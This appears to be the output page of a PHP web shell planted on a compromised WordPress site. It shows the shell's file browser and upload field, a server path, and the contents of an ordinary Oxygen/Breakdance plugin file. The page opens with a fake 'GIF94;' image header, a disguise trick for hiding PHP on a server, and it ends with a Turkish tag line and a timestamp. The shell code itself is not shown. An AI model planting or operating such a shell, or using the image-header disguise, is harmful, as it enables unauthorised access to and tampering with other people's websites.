GIF94; MINI MO Shell - Tarih Gösterimli

MINI MINI MANI MO - TARİH GÖSTERİMLİ

Path : /var/www/wordpress/wp-content/plugins/oxygen/plugin/conditions/
File Upload :
Current File : /var/www/wordpress/wp-content/plugins/oxygen/plugin/conditions/should-show-node.php

<?php

namespace Breakdance\Conditions;

add_filter('breakdance_render_show_node', '\Breakdance\Conditions\shouldShowNode', 69, 2);

/**
 *
 * @param boolean $shouldShow
 * @param array $node
 * @return boolean
 */
function shouldShowNode($shouldShow, $node)
{
    /** @var boolean $nodeIsADraft */
    $nodeIsADraft = $node['data']['properties']['settings']['advanced']['draft'] ?? false;

    if ($nodeIsADraft){
        return false;
    }

    $ruleGroups = getSettingsConditions($node);

    // TODO - type safety

    if ($ruleGroups) {
        $evaluatedRuleGroups = array_map('\Breakdance\Themeless\doesRuleGroupApply', $ruleGroups);

        return in_array(true, $evaluatedRuleGroups, true);
    } else {
        return $shouldShow;
    }
}

OHA YOOO - Tarih: 2026-08-03 23:06:45